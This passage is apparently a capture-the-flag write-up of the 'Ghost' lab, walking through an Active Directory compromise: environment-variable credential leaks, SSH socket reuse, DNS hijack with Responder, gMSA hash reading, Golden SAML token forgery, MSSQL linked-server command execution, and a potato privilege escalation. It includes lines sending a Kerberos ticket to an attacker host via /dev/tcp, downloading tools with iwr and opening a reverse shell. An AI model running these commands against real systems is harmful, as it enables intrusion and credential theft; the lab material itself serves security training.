drwxr-xr-x 1 root root     4096 Jul 22  2024 ..
-rw-r--r-- 1 root root    24576 Jul  5  2024 database.sqlite
-rwxr-xr-x 1 root root 15276056 Jul  5  2024 ghost_intranet

There is a database file in the current directory, but after analyzing it, I didn’t find anything interesting.

Shell as florence.ramirez in LINUX-DEV-WS01

SSH Unix socket

After gaining access to the container running GhostCMS, we can now read the environment variables to obtain the domain user’s credentials:

root@36b733906694:/# env
SHELL=/usr/bin/bash
DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
TERM=xterm-256color
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=3
RUST_VERSION=1.79.0
LC_CTYPE=C.UTF-8
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env

The credentials found belong to Intranet Principal user, and the password is He!KA9oKVT3rL99j.


I’ll perform password spraying to check for credential reuse:

[bryan@sec]$ nxc smb 10.129.231.105 -u users.txt -p 'He!KA9oKVT3rL99j' --continue-on-success | grep '[+]'
SMB                      10.129.231.105  445    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j

This confirms that the credentials are only valid for the intranet_principal user.


Further enumeration reveals some interesting files inside the /root/.ssh directory:

root@36b733906694:~/.ssh# find ./
./
./config
./known_hosts
./controlmaster
./controlmaster/florence.ramirez@ghost.htb@dev-workstation:22
./known_hosts.old

config is a custom SSH configuration file used to store terminal shortcuts and preferences:

root@36b733906694:~/.ssh# cat config ;echo
Host *
  ControlMaster auto
  ControlPath ~/.ssh/controlmaster/%r@%h:%p
  ControlPersist yes
root@36b733906694:~/.ssh# cd controlmaster
root@36b733906694:~/.ssh/controlmaster# ls -al
total 12
drwxr-xr-x 1 root root 4096 Sep 17 23:06 .
drwxr-xr-x 1 root root 4096 Jul  5  2024 ..
srw------- 1 root root    0 Sep 17 23:06 florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster# file florence.ramirez\@ghost.htb\@dev-workstation\:22 
florence.ramirez@ghost.htb@dev-workstation:22: socket

This file defines rules that apply to all servers the user connects to over SSH:

This Unix socket is part of an SSH feature called Multiplexing (ControlMaster). It keeps a “master” TCP connection open in the background and creates this socket. This allows the user to open a new terminal window and log in quickly without a password.


This means we can now use this socket to log in as florence.ramirez without providing a password:

root@36b733906694:~/.ssh/controlmaster# ssh -O check florence.ramirez@ghost.htb@dev-workstation
Master running (pid=24)
root@36b733906694:~/.ssh/controlmaster# ssh florence.ramirez@ghost.htb@dev-workstation
Last login: Thu Feb  1 23:58:45 2024 from 172.18.0.1
florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
florence.ramirez@LINUX-DEV-WS01:~$ hostname -I
172.18.0.2

When checking the environment variables, I can see that the user has a TGT ticket stored:

florence.ramirez@LINUX-DEV-WS01:/$ env
SHELL=/bin/bash
PWD=/
KRB5CCNAME=FILE:/tmp/krb5cc_50
LOGNAME=florence.ramirez
MOTD_SHOWN=pam
HOME=/home/GHOST/florence.ramirez
SSH_CONNECTION=172.18.0.3 52028 172.18.0.2 22
TERM=xterm-256color
USER=florence.ramirez
SHLVL=1
LC_CTYPE=C.UTF-8
SSH_CLIENT=172.18.0.3 52028 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SSH_TTY=/dev/pts/0
_=/usr/bin/env
OLDPWD=/home/GHOST/florence.ramirez

florence.ramirez@LINUX-DEV-WS01:/$ klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
09/19/26 06:31:02  09/19/26 16:31:02  krbtgt/GHOST.HTB@GHOST.HTB
	renew until 09/20/26 06:31:02

I’ll extract this ticket and save it to my local machine:

florence.ramirez@LINUX-DEV-WS01:/$ cat /tmp/krb5cc_50 > /dev/tcp/10.10.15.79/7777

-----
[bryan@sec]$ nc -nlvp 7777 > florence.ramirez.ccache
Listening on 0.0.0.0 7777
Connection received on 10.129.231.105 49864

After downloading the ticket, we can confirm a new valid user credential:

KRB5CCNAME=./florence.ramirez.ccache nxc smb 10.129.231.105 -u 'florence.ramirez@ghost.htb' -k --use-kcache
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.231.105  445    DC01             [+] GHOST.HTB\florence.ramirez@ghost.htb from ccache

Shell as justin.bradley

Enumeration

At this point, we have the password for intranet_principal and the TGT for florence.ramirez. I’ll use these credentials to determine what the users can access and gather more information about the domain.

First, I’ll list the available shares:

[bryan@sec]$ nxc smb 10.129.231.105 -u 'intranet_principal' -p 'He!KA9oKVT3rL99j' --shares
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.231.105  445    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j 
SMB         10.129.231.105  445    DC01             [*] Enumerated shares
SMB         10.129.231.105  445    DC01             Share           Permissions     Remark
SMB         10.129.231.105  445    DC01             -----           -----------     ------
SMB         10.129.231.105  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.231.105  445    DC01             C$                              Default share
SMB         10.129.231.105  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.231.105  445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.231.105  445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.231.105  445    DC01             Users           READ

The user can read some shared files; however, none of them contain any relevant information.


We can also access the MSSQL database:

[bryan@sec]$ mssqlclient.py 'ghost.htb/intranet_principal:He!KA9oKVT3rL99j'@10.129.231.105 -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (GHOST\intranet_principal  guest@master)>
SQL (GHOST\intranet_principal  guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (GHOST\intranet_principal  guest@master)>
SQL (GHOST\intranet_principal  guest@master)> xp_cmdshell "whoami";
ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

The database doesn’t contain any important information, and the user doesn’t have permission to execute system-level commands.


I can also try to capture the NetNTLM hash of the account running the database:

SQL (GHOST\intranet_principal  guest@master)> xp_dirtree \\10.10.15.79\share
subdirectory   depth   file   
------------   -----   ----

-----
[bryan@sec]$ sudo responder -I tun0 -Ddwb
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[*] Tips jar:
    USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
    BTC  -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]

...[snip]...
[SMB] NTLMv2-SSP Client   : 10.129.231.105
[SMB] NTLMv2-SSP Username : GHOST\DC01$
[SMB] NTLMv2-SSP Hash     : DC01$::GHOST:4ef4fbe6dc2ca793:494A06FA7B5D639391CE1CB93F7EDFB5:01010000000000008046318A3348DD011A251C240B689EF400000000020008005200550043004B0001001E00570049004E002D004D0059005700450039004F005A004C00510031005A0004003400570049004E002D004D0059005700450039004F005A004C00510031005A002E005200550043004B002E004C004F00430041004C00030014005200550043004B002E004C004F00430041004C00050014005200550043004B002E004C004F00430041004C00070008008046318A3348DD010600040002000000080030003000000000000000000000000030000019114124062D00D0A80FBDD16523A4370E3534F95B461E6F3DE34A49BC803CB40A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00370039000000000000000000

The captured hash belongs to the DC account, and I was unable to crack it, so it’ll not be useful.


I can also use these credentials to authenticate to the core.ghost.htb application through AD FS:

image.png

After authenticating, I find that this application is specifically intended for administrator users.


When enumerating domain objects, we can see that there’s a gMSA account called adfs_gmsa$:

[bryan@sec]$ nxc smb 10.129.231.105 -u 'intranet_principal' -p 'He!KA9oKVT3rL99j' --rid-brute 10000 -o principals.txt
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.231.105  445    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j 
...[snip]...
SMB         10.129.231.105  445    DC01             4101: GHOST\adfs_gmsa$ (SidTypeUser)
...[snip]...

This account is very important because it appears to be the account running the AD FS service.

I’ll now try to read its password:

[bryan@sec]$ nxc ldap 10.129.231.105 -u 'intranet_principal' -p 'He!KA9oKVT3rL99j' --gmsa
LDAP        10.129.231.105  389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.231.105  389    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [*] Getting GMSA Passwords
LDAP        10.129.231.105  389    DC01             Account: adfs_gmsa$           NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: ['DC01$', 'justin.bradley']

The response reveals that the current user doesn’t have permission, but another user does: justin.bradley.


If we remember what we saw in the company’s internal forum, the user justin.bradley reported having trouble connecting to bitbucket.ghost.htb:

image.png

The cause of the problem is that a DNS record for bitbucket.ghost.htb has not yet been configured.

The user also has a script that is constantly running and trying to connect to this site. This means that if bitbucket.ghost.htb pointed to a server we control, we could capture the authentication the user may be making and steal their credentials.

Rogue Server

I’ll add an A record to the domain so that bitcucket.ghost.htb points to my machine. For this I’ll use dnstool.py :

python dnstool.py -u 'ghost.htb\intranet_principal' -p 'He!KA9oKVT3rL99j' -r bitbucket.ghost.htb -d 10.10.15.79 -t A -a add 10.129.231.105
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding extra record
[!] LDAP operation failed. Message returned from server: insufficientAccessRights 00002098: SecErr: DSID-031514B3, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

The problem is that the intranet_principal user doesn’t have permission to modify DNS records.


I’ll try the same thing with the credentials of florence.ramirez:

[bryan@sec]$ KRB5CCNAME=florence.ramirez.ccache python dnstool.py -u 'ghost.htb\florence.ramirez' -k -r 'bitbucket.ghost.htb' -d 10.10.15.79 -t A -a add dc01.ghost.htb --zone 'ghost.htb' -dns-ip 10.129.231.105
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

The configuration completed successfully.


Now I can start a server to capture the user’s request:

[bryan@sec]$ sudo responder -I tun0 -Ddwb
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[*] Tips jar:
    USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
    BTC  -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
...[snip]...
[HTTP] Basic Client   : 10.129.231.105
[HTTP] Basic Username : ghost\justin.bradley
[HTTP] Basic Password : Qwertyuiop1234$$

The justin.bradley script attempted to authenticate to my server, and I was able to capture the credentials it sent.


We can verify that the user’s credentials are valid for the domain:

[bryan@sec]$ nxc smb 10.129.231.105 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.231.105  445    DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$

[bryan@sec]$ nxc winrm 10.129.231.105 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
WINRM       10.129.231.105  5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) 
WINRM       10.129.231.105  5985   DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)

The user is also a member of the Remote Management Users group, so we can get a shell on DC01 and obtain the first flag:

[bryan@sec]$ ewp -i 10.129.231.105 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to '10.129.231.105:5985' as 'justin.bradley'
evil-winrm-py PS C:\Users\justin.bradley\Documents>

evil-winrm-py PS C:\Users\justin.bradley\Documents> tree C:\Users /A /F
Folder PATH listing
Volume serial number is 0000015A 2804:C13F
C:\USERS
+---adfs_gmsa$
+---Administrator
|   +---3D Objects
|   +---Contacts
|   +---Desktop
|   +---Documents
|   |   +---maintenance
|   |   +---SQL Server Management Studio
|   |   +---Visual Studio 2017
|   |   \---WindowsPowerShell
|   +---Downloads
|   +---Favorites
|   +---Links
|   +---Music
|   +---Pictures
|   +---Saved Games
|   +---Searches
|   \---Videos
+---justin.bradley
|   +---Desktop
|   |       user.txt
|   |       
|   +---Documents
|   |   \---WindowsPowerShell
|   |           Microsoft.PowerShell_profile.ps1
|   |           
|   +---Downloads
|   +---Favorites
|   +---Links
|   +---Music
|   +---Pictures
|   +---Saved Games
|   \---Videos
\---Public

Shell as SYSTEM in PRIMARY server

Read gMSA hash

As we saw earlier, the user justin.bradley can read the password of adfs_gmsa$:

[bryan@sec]$ nxc ldap 10.129.231.105 -u 'justin.bradley' -p 'Qwertyuiop1234$$' --gmsa
LDAP        10.129.231.105  389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.231.105  389    DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ 
LDAP        10.129.231.105  389    DC01             [*] Getting GMSA Passwords
LDAP        10.129.231.105  389    DC01             Account: adfs_gmsa$           NTLM: e37b1566705cd4b67015d20859ffd2ac     PrincipalsAllowedToReadPassword: ['DC01$', 'justin.bradley']
LDAP        10.129.231.105  389    DC01             Account: adfs_gmsa$           aes128-cts-hmac-sha1-96: 2f120ee6c77e08072ace31fab9ba147c
LDAP        10.129.231.105  389    DC01             Account: adfs_gmsa$           aes256-cts-hmac-sha1-96: 86b86d57bbc3f482132246b38820fa6d815ffb5bdb7bc2280f11e53414ba7dbe

The adfs_gmsa$ account is important because it is probably responsible for running the AD FS service.

AD FS Abuse: Golden SAML

When AD FS is configured, the certificate that signs tokens (the Token-Signing Certificate) and its private key are protected in a database, such as WID (Windows Internal Database) or another SQL database. Windows also uses a feature called DKM (Distributed Key Management) to encrypt the private key before storing it. The DKM key is stored as an AD object inside the CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=com container, but only highly privileged accounts can read it; one of them is the service account running AD FS.

If we obtain this key, we could decrypt the EncryptedPfxBlob stored in the AD FS database and obtain the certificate’s private key, allowing us to forge SAML tokens and access resources and applications as any domain user. In this case, it would allow us to access core.ghost.htb as the Administrator user.

Since we have access to the adfs_gmsa$ account and it’s a member of the Remote Management Users group, the first thing I’ll do is get a shell and use ADFSDump.exe to dump the AD FS secrets:

[bryan@sec]$ ewp -i 10.129.231.105 -u 'adfs_gmsa$' -H 'e37b1566705cd4b67015d20859ffd2ac'
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to '10.129.231.105:5985' as 'adfs_gmsa$'
evil-winrm-py PS C:\Users\adfs_gmsa$\Documents> iwr -uri http://10.10.15.79/ADFSDump.exe -OutFile ADFSDump.exe
evil-winrm-py PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe /domain:ghost.htb
    ___    ____  ___________ ____                      
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____ 
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/ 
                                              /_/      
Created by @doughsec

## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7

[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCW...[snip]...
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-] 
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>

    Access Policy Parameter: 
    
    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

This tool automatically extracts the DKM key and the EncryptedPfx blob and displays them in the output. These two values will be needed for the next step.


We need to create the EncryptedPfx file and the private keys in the format required for the attack:

[bryan@sec]$ cat EncryptedPfx.bin | base64 -d | sponge EncryptedPFX.bin
[bryan@sec]$ python3 -c "key = 'FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7'.replace('-', ''); open('dkm.bin', 'wb').write(bytes.fromhex(key))"
[bryan@sec]$ python3 -c "key = '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1'.replace('-', ''); open('dkm2.bin', 'wb').write(bytes.fromhex(key))"

Instructions for creating the files:


Finally, I’ll create a SAML token with ADFSpoof to impersonate the Administrator:

[bryan@sec]$ python3 ADFSpoof.py -b EncryptedPfx.bin dkm.bin -s federation.ghost.htb saml2 \
	--endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --rpidentifier https://core.ghost.htb:8443 \
	--nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' \
	--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'

	    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_  
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/  
/_/  |_/_____/_/    /____/ .___/\____/\____/_/     
                        /_/                        

A tool to for AD FS security tokens
Created by @doughsec

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0F...[snip]...

This command will create a valid SAML token (SAMLResponse) for the core.ghost.htb application. The RPI (Relying Party Trust Identifier) is specified with the --rpidentifier parameter. --nameid identifies the session, while --assertions specifies the attributes and claims used to identify who I am and what permissions I have. This allows the application to recognize us as the Administrator user.


To inject this SAML token, I’ll intercept a legitimate user authentication flow and replace the SAMLResponse with my generated token.

First, when entering the intranet_principal user’s credentials into the AD FS portal, the initial request containing the SAMLRequest is sent:

image.png

Since I had already authenticated with this user, the session cookie containing the MSIAuth, MSIAuth1, MSIAuthenticated, and MSISLoopDetectionCookie parameters is sent automatically to authenticate me. However, this would interrupt the authentication flow, so I simply removed it before sending the request to the server.


The server then assigns me a session cookie, which I send along with my credentials in the next request:

image.png


Finally, the server responds to the previous request with a SAMLResponse signed by it, which the browser forwards to the application. The idea is to replace this SAMLResponse with the one we generated earlier:

image.png

image.png

When the request containing the new SAMLResponse is sent, the web application accepts it and assigns us a session cookie.

With this, I was able to impersonate the Administrator and gain access to a configuration panel:

image.png

The page displays a panel that allows SQL queries to be executed. It says there are two MSSQL databases, one for ghost.htb and another for corp.ghost.htb, and both are linked, meaning they can communicate with each other.

MSSQL RCE

To observe the initial behavior, I’ll send some enumeration queries:

# Show current user
sql=SELECT SYSTEM_USER AS [Current User], IS_SRVROLEMEMBER('sysadmin') AS [Is SysAdmin];

# Enable xp_cmdshell
EXEC SP_CONFIGURE "show advanced options", 1; RECONFIGURE; EXEC SP_CONFIGURE "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami";

image.png

image.png

We can see that our database user is called web_client and does not have permission to enable xp_cmdshell.


I’ll enumerate the linked servers:

# Show linked servers
sql=SELECT * FROM sys.servers WHERE is_linked = 1;

# Show local server
sql=SELECT * FROM sys.servers WHERE is_linked = 0;

image.png

image.png

The query results show that the linked server is called PRIMARY, while the local server where we are executing the queries is DC01 because it has a value of 0 in the is_linked attribute.

The linked server also has Remote Procedure Calls (RPC) enabled, which means we can make calls to the remote server with queries such as EXEC [PRIMARY].database.Schema.Procedure.


I’ll check the current user on the PRIMARY server:

sql=EXEC [PRIMARY].master.sys.sp_executesql N'SELECT SYSTEM_USER AS [Current User], IS_SRVROLEMEMBER(''sysadmin'') AS [Is SysAdmin]';

image.png

The user we use on the linked server is called bridge_corp, and it’s not a sysadmin either.


Enumerating tables on both servers doesn’t return anything interesting:

# Query local server
sql=SELECT table_name FROM information_schema.tables;

# Query remote server 
sql=EXEC [PRIMARY].master.sys.sp_executesql N'SELECT table_name FROM information_schema.tables';

image.png

image.png


I’ll now try to enable xp_cmdshell on the PRIMARY server:

# Enable xp_cmdshell
EXEC [PRIMARY].master.sys.sp_executesql N'EXEC SP_CONFIGURE "show advanced options", 1; RECONFIGURE; EXEC SP_CONFIGURE "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami";';

# Enable xp_cmdshell as "sa" user
EXEC [PRIMARY].master.sys.sp_executesql N'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';';

image.png

image.png

The first query shows that we don’t have permission to enable xp_cmdshell in the context of the bridge_corp user, but we can use the second query to impersonate the sa user and finally enable xp_cmdshell to achieve command execution.

Trying the same thing on the local server doesn’t work because we don’t have permission:

image.png


I had trouble sending the reverse shell to my local machine, so I created a Python script to automate sending commands to the server:

#!/usr/bin/env python

import requests, sys, signal, base64, json, html, urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://core.ghost.htb:8443"
headers = {"Cookie": "connect.sid=s%3AjXvmD0HcuZrq-3cAB2O34SNYyGjGxL5N.utgwJWuBCW1iJof0r8aZVp5g4x0XD2DJZA6fVCODV0M", "Content-Type": "application/x-www-form-urlencoded"}
proxies = {"http": "http://127.0.0.1:8080/"}

def ctrl_c(sig, frame):
    print("\nExiting.")
    sys.exit(0)
signal.signal(signal.SIGINT, ctrl_c)

def send_request(command):
    command_encoded = base64.b64encode(command.encode('utf-16le')).decode()
    data = f"sql=EXEC [PRIMARY].master.sys.sp_executesql N'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''powershell -enc {command_encoded}'';';"
    r = requests.post(url, headers=headers, data=data, verify=False)

    if r.status_code != 200:
        print("Error: couldn't send the request. Status code: {r.status_code}")
        return

    soup = BeautifulSoup(r.text, "html.parser")
    pre_tag = soup.find("pre")

    if pre_tag:
        # Convert HTML tags
        json_string = html.unescape(pre_tag.text.strip())

        try:
            data = json.loads(json_string)

            print("\n--- OUTPUT ---")
            for item in data.get("recordset", []):
                line = item.get("output")

                # Filter out characters
                if line and not line.startswith("#< CLIXML") and not line.startswith("<objs"):
                    print(line)

        except json.JSONDecodeError as e:
            print(f"Error parsing internal JSON: {e}")
    else:
        print("Coulnd't find <pre> tag.")

if __name__ == '__main__':
    while True:
        command = input("PRIMARY $> ")
        send_request(command) if command else ""

SeImpersonatePrivilege Abuse

I can now run the script and enumerate basic user information:

[bryan@sec]$ rlwrap python3 primary_rce.py
PRIMARY $> hostname

--- OUTPUT ---
PRIMARY

PRIMARY $> ipconfig

--- OUTPUT ---
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 10.0.0.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254

PRIMARY $> arp -a

--- OUTPUT ---
Interface: 10.0.0.10 --- 0x5
  Internet Address      Physical Address      Type
  10.0.0.254            00-15-5d-44-3c-00     dynamic   
  10.0.0.255            ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.251           01-00-5e-00-00-fb     static    
  224.0.0.252           01-00-5e-00-00-fc     static 

PRIMARY $> whoami /priv

--- OUTPUT ---
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

This result reveals that we are on the PRIMARY server and that it’s inside the 10.0.0.0/24 network, the same internal network where we saw DC01 during the initial enumeration.

We can also see that the current user mssqlserver has the dangerous SeAssignPrimaryTokenPrivilege and SeImpersonatePrivilege privileges, which will allow us to escalate privileges to SYSTEM.


Windows Defender is enabled so to escalate privileges I’ll use CrystalPotato to run a system command as SYSTEM and send a reverse shell to my machine:

PRIMARY $> iwr -Uri http://10.10.15.79/CrystalPotato.exe -OutFile C:\Privesc\crystal.exe
PRIMARY $> C:\Privesc\crystal.exe -c "whoami"

--- OUTPUT ---
nt authority\system

PRIMARY $> C:\Privesc\crystal.exe -H 10.10.15.79 -P 443

-----
[bryan@sec]$ sudo rlwrap nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.231.105 49858
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

This gives us access as the SYSTEM user, providing the highest privileges on the server.

Shell as Administrator

Enumeration

The PRIMARY server is part of a domain called corp.ghost.htb, which is a child domain of ghost.htb:

C:\Privesc>whoami /fqdn
whoami /fqdn
CN=PRIMARY,OU=Domain Controllers,DC=corp,DC=ghost,DC=htb

We can also see that they have a bidirectional intraforest trust relationship:

image.png

This means that users in the corp.ghost.htb domain can access resources in the ghost.htb domain and vice versa. It also means that compromising one allows us to compromise the other, which is what we will do.

